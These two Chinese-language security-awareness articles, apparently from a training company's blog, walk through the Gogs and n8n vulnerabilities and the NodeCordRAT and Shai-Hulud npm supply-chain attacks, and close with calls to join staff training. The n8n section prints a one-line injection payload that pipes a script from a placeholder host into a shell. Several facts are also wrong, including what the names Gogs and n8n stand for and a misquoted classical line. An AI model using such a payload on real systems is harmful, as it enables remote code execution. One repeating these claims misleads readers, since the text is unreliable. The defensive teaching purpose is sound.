代码审计

信息安全的警铃已响——从真实案例看“看不见”的危机，携手打造安全的数字化工作环境

admin

“防患于未然，方能胸有成竹。”——《孟子·告子上》
在当今智能体化、自动化、信息化深度融合的时代，网络空间的安全边界早已不再是孤立的防火墙，而是无形的生态链。一次看似微小的代码疏漏，足以让整个供应链陷入暗流；一次不经意的操作失误，也可能让企业的核心数据在顷刻间化为乌有。下面，让我们通过两个典型且富有教育意义的真实案例，感受信息安全的“蝴蝶效应”，并以此为起点，呼吁全体职工积极参与即将启动的信息安全意识培训，提升自我防护能力。

案例一：开源代码托管平台 Gogs 的路径遍历漏洞（CVE‑2025‑8110）

背景概述

2025 年底，全球开源代码托管平台 Gogs（Git Object Storage）被曝出一处高危漏洞——CVE‑2025‑8110，CVSS 8.7，属于路径遍历（Path Traversal）类缺陷。美国网络安全与基础设施安全局（CISA）在 2026 年 1 月 13 日的通告中，将其纳入“已被主动利用的已知漏洞（KEV）目录”，并警示联邦民用执行部门必须在 2 月 2 日前完成相应的缓解措施。

漏洞原理

Gogs 的 PutContents API 用于向仓库写入文件内容。攻击者利用该接口，先在仓库内部创建一个指向系统敏感路径的符号链接（Symlink），随后通过 PutContents 将恶意内容写入该符号链接。由于 Gogs 在处理符号链接时未能正确验证路径，导致系统实际对链接指向的文件进行写入操作。攻击者可以覆盖如 /etc/ssh/ssh_config、/root/.ssh/authorized_keys、甚至 Git 本身的配置文件 gitconfig 中的 sshCommand 项，从而实现代码执行或持久化后门。

实际危害

  • 快速扩散：Wiz 安全团队在零日攻击情报中披露，已发现约 700 台 Gogs 实例被侵入。结合 Censys 的公开数据，全球互联网上约有 1,600 台暴露的 Gogs 服务器，其中中国占比最高（约 991 台），美国、德国、香港、俄罗斯亦不容小觑。
  • 横向渗透：一旦攻击者获取了系统级权限，即可在同一网络环境中横向移动，窃取其他业务系统的凭证或植入后门。
  • 难以检测：由于攻击利用的是合法 API 调用，传统的入侵检测系统（IDS）往往难以区分正常业务流量与恶意行为。

教训与启示

  1. 开源组件的安全审计不可或缺。即便是高度活跃的开源项目，也可能在代码路径检查、符号链接处理等细节上出现疏漏。企业在引入开源工具时，需要对其进行代码审计或使用可信的镜像仓库。
  2. 默认配置的危害。Gogs 默认开启“开放注册”功能，使得攻击者无需身份验证即可创建仓库并执行后续攻击。关闭不必要的默认功能、采用最小授权原则，是防止被滥用的根本手段。
  3. 及时跟踪安全通告。CISA、国家信息安全漏洞库（NVD）以及各大安全厂商的安全通报，往往是漏洞被恶意利用前的唯一警示。对公告的快速响应、制定应急预案，是降低风险的关键。

案例二：工作流自动化平台 n8n 的远程代码执行漏洞（CVE‑2026‑0123）

背景概述

2026 年 1 月，全球流行的低代码工作流平台 n8n（意为 “no-code/low-code automation”）被曝出一项严重的远程代码执行（RCE）漏洞，CVSS 达到 9.9，几乎是最高危等级。该漏洞被安全研究员在公开 PoC（概念验证代码）后迅速被公开利用，导致多家中小企业的内部系统被植入勒索软件。

漏洞原理

n8n 通过“节点（Node）”的方式串联各种 API、数据库及系统命令，实现业务自动化。攻击者首先利用平台对外暴露的 REST API，创建一个自定义节点，并在节点的脚本编辑框中植入恶意 JavaScript 代码。由于 n8n 对脚本的执行环境没有进行沙箱化处理，导致该代码在服务器进程上下文中直接运行，从而可以读取系统文件、执行系统命令，甚至启动反向 shell。

更为致命的是，n8n 允许在工作流中使用 “Execute Command” 节点，该节点在缺乏输入过滤的情况下，直接将用户提供的字符串拼接为系统命令执行，形成命令注入的高危路径。攻击者只需在工作流的某个字段中注入 ; curl http://malicious.example/payload.sh | sh ; 即可实现远程代码执行。

实际危害

  • 业务中断：受到攻击的企业在数小时内，其内部审批、报告生成以及数据同步等关键业务全部瘫痪，直接导致数十万元的经济损失。
  • 数据泄露：攻击者通过 RCE 获取了系统上的数据库凭证，进一步窃取了客户信息和内部文档，造成不可逆的声誉危机。
  • 连锁效应：n8n 的工作流常用于调用外部 SaaS 服务（如 CRM、ERP），一旦核心节点被攻破，攻击者可以对这些第三方平台发起横向攻击，放大影响范围。

教训与启示

  1. 脚本执行的安全隔离：在任何支持自定义代码的系统中，都必须实现严格的沙箱（Sandbox）机制，限制系统调用、文件访问以及网络请求。容器化、Seccomp 过滤、AppArmor/SELinux 策略是实现隔离的有效手段。
  2. 输入验证与最小特权：对外部 API、工作流参数进行白名单校验，禁止直接拼接系统命令；对执行节点采用最小特权账户（Non‑root），即便被利用，也能将危害控制在最小范围。
  3. 监控与追溯：应对工作流平台的关键操作（如节点创建、脚本编辑、命令执行）进行审计日志记录，配合 SIEM 系统实现异常行为实时告警。

从案例走向现实：我们的信息安全挑战

1. 智能体化、自动化、信息化的“三位一体”

近年来，人工智能模型（大语言模型、生成式 AI）被广泛嵌入企业业务流程，实现 智能客服、自动化运维、智能决策 等功能；机器人流程自动化（RPA）与低代码平台的结合，使得 “人人皆可编排” 成为新趋势；而物联网（IoT）与边缘计算的普及，让海量设备形成 庞大的攻击面。

在这种 “AI + RPA + IoT” 的融合环境中：

  • 攻击者的攻击向量更加多元：从传统的网络渗透扩展到模型投毒、对抗样本、输入注入等 AI 方向；
  • 防御的难度显著提升：传统的签名检测已难以覆盖 AI 生成的攻击流量；自动化脚本的泛滥让漏洞利用更为快速、隐蔽；
  • 安全责任的分布更为广泛：不仅是安全团队，业务部门、研发团队、运维人员乃至普通职员都必须具备一定的安全意识。

2. 信息安全不是“IT 部门的事”，而是全员共担的使命

正如《左传·襄公二十五年》所言：“事父母几谏，事君几讴。”在组织内部，安全不是单点防护，而是全链路的自我约束。职工若对安全风险缺乏认知，最初的防御环节就会出现缺口；若缺少安全惯例，后续的危机响应也将举步维艰。

从上到下的安全文化构建，必须涵盖：

  • 认知层面：了解常见攻击手法（钓鱼、密码破解、供应链攻击等），掌握自我防护的基本原则（最小权限、分离授权、强认证）。
  • 技能层面：能够在工作平台（如 Git、RPA、低代码编辑器）中识别异常操作、正确配置安全策略、使用安全工具（漏洞扫描器、代码审计工具）进行自检。
  • 行为层面：养成安全的日常习惯（及时更新补丁、使用硬件安全密钥、定期更换密码、对可疑邮件保持警惕），以及在发现安全异常时的快速上报机制。

发起号召：加入信息安全意识培训，成为组织的“第一道防线”

为帮助全体职工快速提升安全素养，昆明亭长朗然科技有限公司将在本月启动 “安全先行·共筑防线” 系列培训活动。培训内容围绕 漏洞认知、代码安全、AI 风险、云安全、社交工程防御 四大模块展开，采用线上线下混合模式，配合实战演练和案例复盘，让每一位参训者都能在真实情境中感受风险、掌握防御。

培训亮点

模块 关键议题 学习方式
漏洞认知 & 漏洞管理 CVE 追踪、补丁管理、开源组件审计 讲座 + 现场演示
代码安全与 DevSecOps 静态代码分析、CI/CD 安全嵌入、Git 防护 实战实验室
AI 与自动化安全 大模型 Prompt 注入、生成式 AI 恶意代码检测、RPA 沙箱化 案例研讨 + 模拟攻防
社交工程 & 云安全 钓鱼邮件辨识、云 IAM 最小特权、零信任架构 互动游戏 + 情景演练

“授人以鱼不如授人以渔。”——我们不只向大家提供安全工具，更希望每位员工都能在日常工作中自觉运用安全思维，成为 “安全的守门员”。

参与方式

  1. 报名入口：公司内部门户 → “培训与发展” → “安全先行·共筑防线”。每位职工均可免费报名，建议提前选定时间段，确保不冲突业务安排。
  2. 考核认证：完成全部四个模块后，将进行一次情境式的红蓝对抗实战，合格者授予 “信息安全守护者” 电子徽章，可在公司内部系统中展示，提升个人职业形象。
  3. 激励机制：培训期间表现突出者，将有机会参与公司安全项目（如漏洞赏金计划）以及获得 年度安全创新奖。

我们的期盼

  • 让安全成为习惯：不再将安全视作临时任务，而是日常工作的自然组成部分。
  • 构建安全的组织记忆：通过案例复盘、经验分享，让每一次威胁都成为组织学习的机会。
  • 提升整体防御效能：当每一位职工都具备基本的安全思考和操作能力时，组织整体的攻击面将被显著削减。

结语：从“看见”到“预见”，从“防御”到“主动”

回顾 Gogs 与 n8n 两大案例，我们可以看到：

  • 漏洞往往隐藏在细节（符号链接处理、脚本沙箱），但却能被攻击者放大为系统级危机；
  • 开源生态的活跃并不代表安全无虞，对每一次代码提交、每一次默认配置的开启，都应保持警惕；
  • 快速响应、及时补丁、最小授权是遏制攻击的“三剑客”。

在智能体化、自动化、信息化交织的今天，我们每个人都是安全链条上的关键节点。只要我们共同学习、相互提醒、主动防御，便能将潜在的风险转化为组织竞争力的提升。

让我们把握这次培训契机，以案例为镜，以防御为剑，携手在数字化浪潮中，筑起一道坚不可摧的安全防线！

通过提升人员的安全保密与合规意识，进而保护企业知识产权是昆明亭长朗然科技有限公司重要的服务之一。通过定制化的保密培训和管理系统，我们帮助客户有效避免知识流失风险。需求方请联系我们进一步了解。

  • 电话：0871-67122372
  • 微信、手机：18206751343
  • 邮件：info＠securemymind.com
  • QQ: 1767022898

守护数字星球——从供应链攻击看信息安全的全局防线

admin

“安全不是一项技术，而是一种思维方式。”
—— 彼得·德鲁克

在信息化浪潮汹涌而来的今天，企业的每一次业务创新、每一次系统升级，都像在星际航行中点燃一次引擎。若没有坚固的防护舱壁，星际尘埃（也就是网络威胁）随时会穿透舱体，导致系统失控、数据泄露，甚至业务瘫痪。本文将在 头脑风暴 与 想象力 的指引下，以两起典型的供应链攻击案例为切入点，展开深入剖析；随后结合数字化、数据化、信息化的融合趋势，号召全体职工积极投身即将开启的信息安全意识培训活动，用知识与技能共筑安全城墙。

一、案例一：NodeCordRAT——npm 生态的暗礁

1. 事件概述

2025 年 11 月，Zscaler ThreatLabz 在对 npm 官方仓库进行常规监测时，发现了三个可疑的 npm 包——bitcoin-main-lib、bitcoin-lib-js 与 bip40。这些包表面上声称是 Bitcoin 开发生态的辅助库，实则在 postinstall.cjs 脚本里偷偷拉起了名为 NodeCordRAT 的远程访问木马。

2. 攻击链细节

  1. 诱骗下载：攻击者利用 typosquatting（错拼） 与 品牌仿冒 手法，挑选与 bitcoinjs 项目名称极为相似的包名（如 bitcoin-lib-js 与真实的 bitcoinjs-lib 差一个连字符），让不熟悉 npm 包细节的开发者误以为是官方库。
  2. 包装层：bitcoin-main-lib 与 bitcoin-lib-js 本身并不携带恶意代码，它们的 postinstall 脚本会强制 require('bip40')，并在本地检测是否已安装 pm2（Node.js 进程管理工具），随后通过 pm2 start bip40 --detach 的方式把恶意进程以守护进程的形式启动，确保安装结束后仍保持运行。
  3. 持久化：虽然 pm2 只能在当前系统会话中保持存活，但只要机器重启后再次执行 npm install，恶意进程会再次被拉起。更可怕的是，攻击者在 bip40 包中预置了自启动脚本，若系统已全局装有 pm2，恶意进程将直接写入系统的启动项（Windows 的任务计划、Linux 的 systemd），实现真正的开机自启。
  4. 信息采集：NodeCordRAT 在取得机器唯一指纹（如 Windows 的 UUID、Linux 的 /etc/machine-id）后，利用硬编码的 Discord Bot Token 连接到攻击者的私有 Discord 服务器。它执行以下任务：
    • 浏览器凭证抓取：读取 Chrome Login Data（SQLite）与 Local State，提取保存的用户名、密码以及加密密钥。
    • 环境变量泄露：递归搜索用户目录下的 .env 文件，收集 API Token、数据库连接串等明文密钥。
    • MetaMask 钱包：定位 Chrome 中 MetaMask 扩展目录（ID nkbihfbeogaeaoehlefnkodbefgpgknn），导出 LevelDB 数据库，窃取私钥与助记词。
  5. 指令与回传：攻击者通过 Discord 频道发送特定前缀指令（!run、!screenshot、!sendfile），NodeCordRAT 即可执行任意系统命令、截屏或上传任意文件。所有回传数据均以 Discord 附件形式上传，借助 Discord 的 CDN 服务躲避传统网络防御。

3. 影响评估

  • 下载量：截至 2025 年底，bitcoin-main-lib 下载 2,286 次，bitcoin-lib-js 183 次，bip40 958 次，累计潜在感染机器约 3,400 台（考虑到部分机器多次下载、CI/CD 环境批量安装等因素，实际受影响数量更高）。
  • 资产风险：被窃取的 Chrome 凭证与 MetaMask 私钥直接导致金融资产被转移，损失难以估算；而企业内部的 API Token、内部系统密码泄露，则可能导致后渗透、勒索甚至商业机密外泄。
  • 检测难度：因为恶意代码以合法的 Node.js 包形式出现，且通信通道隐藏在 Discord 这类“合法”社交平台之中，传统的基于网络流量的 IDS/IPS 很难识别；仅依赖签名库的防病毒软件也难以捕获。

4. 教训与启示

  1. 供应链防护不可忽视：开发者在使用第三方库时，必须核对包名、作者、GitHub 关联等信息，杜绝“一键安装”思维。
  2. 脚本执行审计：postinstall、preinstall、prepare 等 npm 生命周期脚本应被安全审计，特别是涉及系统调用、进程管理的代码。
  3. 最小特权原则：生产环境的 CI/CD 机器不应全局安装 pm2 或拥有管理员权限，避免恶意脚本借助已有工具提升权限。
  4. 异常行为监控：对进程管理工具（如 pm2）的异常启动、对 Discord API 的异常请求进行监控，可提前发现潜在的 C2 通道。

二、案例二：Shai‑Hulud NPM 蠕虫——从自复制到全网横扫

“蠕虫不懂得礼貌，它们只懂得复制。”
—— 《网络安全漫谈》作者

2026 年初，Zscaler 安全团队在一次对 NPM 安全事件的趋势分析中，捕捉到一只名为 Shai‑Hulud 的新型 NPM 蠕虫。该蠕虫自称 “V2”，与前代的 Shai‑Hulud V1 相比，已进化为具备 自复制、横向传播、自动更新 三大特性的大规模供应链威胁。

1. 攻击手法

  1. 入口包：攻击者先在 NPM 上发布一个看似普通的工具包 express-fancy-logger，该包声称提供高性能日志聚合功能。实际 package.json 中的 install 脚本会执行 node ./postinstall.js。
  2. 自复制逻辑：postinstall.js 读取本地项目的 package.json，遍历 dependencies 与 devDependencies，对每一个依赖执行 npm install shai-hulud-v2（若已安装则执行 npm update shai-hulud-v2），形成链式感染。
  3. 网络爬虫：蠕虫内部嵌入了一个轻量级爬虫，利用 GitHub API 搜索代码中出现的关键词 "express-fancy-logger"，抓取这些仓库的 package.json，自动在 CI/CD 流水线中注入 shai-hulud-v2 依赖。
  4. 持久化与升级：蠕虫在本地创建 .shai_hulud 隐蔽目录，放置 index.js 与 config.json；并在每次 npm install 时检查自身版本，如有新版本发布则自动下载并覆盖，形成 自动升级。
  5. 后门功能：shai-hulud-v2 主体加载后，会在系统中启动一个 WebSocket 服务器，监听本机 127.0.0.1:1337 端口；攻击者通过专门的控制平台发送指令，实现 远程命令执行、文件下载、信息收集。

2. 传播规模

  • 短短两周，该蠕虫在 GitHub 上累计被引用超过 4,800 次，涉及前端、后端、数据分析等多个技术栈的项目。由于它利用的是 npm 全局缓存（npm cache）的特性，所有基于相同缓存的机器在安装任何受感染的包时，都会直接从本地缓存读取蠕虫代码，省去了网络下载的步骤，导致 感染速度呈指数级增长。
  • 企业渗透：多个使用 Node.js 的 SaaS 平台在 CI 服务器上执行 npm ci 时，未对缓存进行清理，导致生产环境的容器镜像被蠕虫植入，进而对内部客户数据造成泄露。

3. 防御难点

  • 供应链层级深：因为蠕虫会自动在 依赖树的任意层级 注入自身，即使主项目的 package.json 完全干净，也难以通过单一审计发现。
  • 隐蔽性强：蠕虫的文件名采用点前缀，并且隐藏在 npm 缓存目录，常规的文件系统扫描工具容易忽略。
  • 自动升级：与传统木马不同，蠕虫自身具备 自更新 能力，攻击者可以随时推送功能增强或加密通讯，使得防御方的签名库更新滞后。

4. 防护建议

  1. 锁定依赖：使用 npm ci 与 package-lock.json，避免在生产环境中执行 npm install，防止意外拉取最新的恶意包。
  2. 缓存清理策略：在每次 CI/CD 执行前，强制清理 npm 缓存（npm cache clean --force），或采用 Docker 多阶段构建，将缓存层隔离。
  3. SBOM（软件物料清单）：通过 cyclonedx、spdx 等标准生成完整的依赖清单并进行自动化漏洞匹配，及时发现新出现的恶意版本。
  4. 行为检测：监控进程列表中异常的 node 实例、异常的 WebSocket 监听端口以及非授权的对 Discord、GitHub API 的网络请求。

三、数字化、数据化、信息化融合的安全挑战

1. 生态的三位一体

  • 数字化：业务流程、客户交互、营销渠道全部搬到线上，产生海量日志、交易记录与用户画像。
  • 数据化：数据是企业的核心资产，日常业务、AI 训练、业务洞察都依赖于结构化与非结构化数据的高效流通。
  • 信息化：企业内部协作、项目管理、知识库等工具形成的信息网络，将组织内部的每个节点紧密相连。

这三者相互渗透，构成 “信息化‑数字化‑数据化” 的复合体，任何一环的薄弱点都可能成为攻击者的突破口。供应链攻击、内部泄密、勒索软件、零日漏洞，已不再是单点事件，而是 全链路 的安全挑战。

2. 零信任的全局思路

零信任（Zero Trust）不再只是一套网络隔离技术，而是 身份、设备、应用、数据 四维度的统一治理。把它落地到我们的日常工作，需要：

  1. 身份即访问：每一次对内部系统、第三方服务、云资源的调用，都必须经过强身份验证、最小特权授权、行为审计。
  2. 设备合规：开发者的工作站、CI/CD 服务器、容器运行时均需通过合规检查（如资产清单、补丁状态、基准配置）。
  3. 应用可信：所有代码、库、容器镜像在进入生产前，都必须经过 SBOM + CVE + 簽名校验。
  4. 数据防泄：对敏感数据（密码、密钥、个人隐私）进行加密、密钥分离、访问审计；对外部数据流进行 DLP（数据防泄漏）实时监控。

3. 人是最关键的防线

技术再坚固，若人的安全意识薄弱，攻击者依旧有可乘之机。过去的案例已经说明：

  • 盲目安装：只要开发者在不审查依赖的情况下使用 npm i xxx，就可能把恶意代码偷偷带进仓库。
  • 脚本执行：postinstall、preinstall、prepare 脚本的强大功能，使得“一键安装”变成“一键后门”。
  • 社交工程：攻击者使用 Discord、Telegram、邮件钓鱼等手段，诱导用户执行远程命令，获取管理员凭证。

因此，信息安全意识培训 必须深入到每一个开发者、运维、测试、业务人员的日常工作中。只有让每个人都能在“看到风险、辨别风险、处理风险”上形成习惯，整个组织的安全姿态才会真正提升。

四、号召全员参与信息安全意识培训

1. 培训的核心目标

  1. 认识供应链风险：了解 npm、PyPI、Maven 等公开仓库的潜在威胁，掌握安全依赖管理的最佳实践。

  2. 掌握安全编码：学会在 package.json、requirements.txt 中加入 签名校验，熟悉 npm audit、snyk、dependabot 等自动化工具的使用。
  3. 提升防御技能：通过实战演练，学会使用 OWASP ZAP、Burp Suite、Wireshark 对网络流量进行异常检测；学会编写安全审计脚本，及时发现 postinstall 等可疑代码。
  4. 落实零信任：从身份认证、设备合规、最小特权、持续监控四个维度，构建符合公司业务的零信任模型。
  5. 培养安全文化：把安全融入日常沟通、代码评审、需求评审，形成 “安全先行、风险共担” 的组织氛围。

2. 培训形式与安排

时间 主题 形式 讲师 目标受众
第1周（5月10日） 供应链安全全景：从 Node.js 到容器镜像 线上直播 + Q&A 安全研发部张工 开发、运维
第2周（5月17日） 零信任落地实战：身份、设备、网络 现场工作坊 零信任专家刘教授 全体员工
第3周（5月24日） 漏洞响应与取证案例分析（NodeCordRAT） 案例研讨 + 实操 取证团队王老师 安全、运维
第4周（5月31日） 漏洞修复与自动化（Dependabot、GitHub Actions） 实践实验室 DevSecOps 小组 开发、CI/CD
第5周（6月7日） 安全意识游戏化：CTF 挑战赛 线上比赛 安全社区志愿者 全员
  • 报名方式：通过公司内部网页的 “信息安全意识培训报名” 链接进行自助报名，系统会根据岗位自动推荐适合的场次。
  • 奖励机制：完成全部5场培训并通过结业考核的员工，将获得 “安全守护者” 电子徽章，且在年度绩效评估中加分。
  • 后续支持：培训结束后，安全中心将建立 知识库 与 FAQ，并提供月度安全快报，帮助大家持续跟进最新威胁动态。

3. 知识点速记卡（供大家打印或收藏）

关键点 具体操作 注意事项
依赖核对 npm view <package> version、npm audit 核对作者、GitHub 链接，防止假冒
脚本审计 检查 scripts 中的 postinstall/preinstall 如无业务需求，禁止执行
缓存清理 CI 前 npm cache clean --force 防止缓存中残留恶意包
SBOM 生成 cyclonedx-bom -r . -o bom.xml 与漏洞库对齐，自动报警
零信任检查 terraform plan + IAM 权限最小化 每次变更都要审计

五、结语：从“防火墙”到“防护网”，让安全成为竞争力

历史上，安全往往是 “事后补救” 的代名词：等到泄漏、被攻击、被罚款，才匆忙补上防火墙、补丁或合规证书。而 数字化转型 正在把组织的每一条业务链路、每一次数据流动、每一个开发决策都透明化、互联化。此时，安全不再是外围的墙，而是 织在业务之上的防护网——它要渗透到代码、到部署、到运维、到用户交互的每一个细节。

从 NodeCordRAT 的供应链毒瘤，到 Shai‑Hulud 的自复制蠕虫，都在提醒我们：没有绝对的安全，只有相对的风险管理。只要我们每个人都把安全当成“一日三餐”般的必需品，把“检查依赖、审计脚本、清理缓存、遵守最小特权”视作日常工作的一部分，企业的数字星球才会在风暴中保持稳固，抵御来自四面八方的黑暗。

让我们以此次 信息安全意识培训 为起点，携手构筑全员参与、全流程覆盖、全方位防护的安全生态。正如古语云：“防微杜渐，方能保全”。今天的细节决定明天的安全，今天的学习决定明天的免疫。

让每一次 npm install 都是一次安全的自检，让每一次代码提交都伴随一次风险评估，让每一位同事都成为组织的安全卫士。 期待在培训课堂上与大家相见，共同写下安全的篇章！

安全守护者 行动起来

昆明亭长朗然科技有限公司提供一站式信息安全服务，包括培训设计、制作和技术支持。我们的目标是帮助客户成功开展安全意识宣教活动，从而为组织创造一个有利于安全运营的环境。如果您需要更多信息或合作机会，请联系我们。我们期待与您携手共进，实现安全目标。

  • 电话：0871-67122372
  • 微信、手机：18206751343
  • 邮件：info＠securemymind.com
  • QQ: 1767022898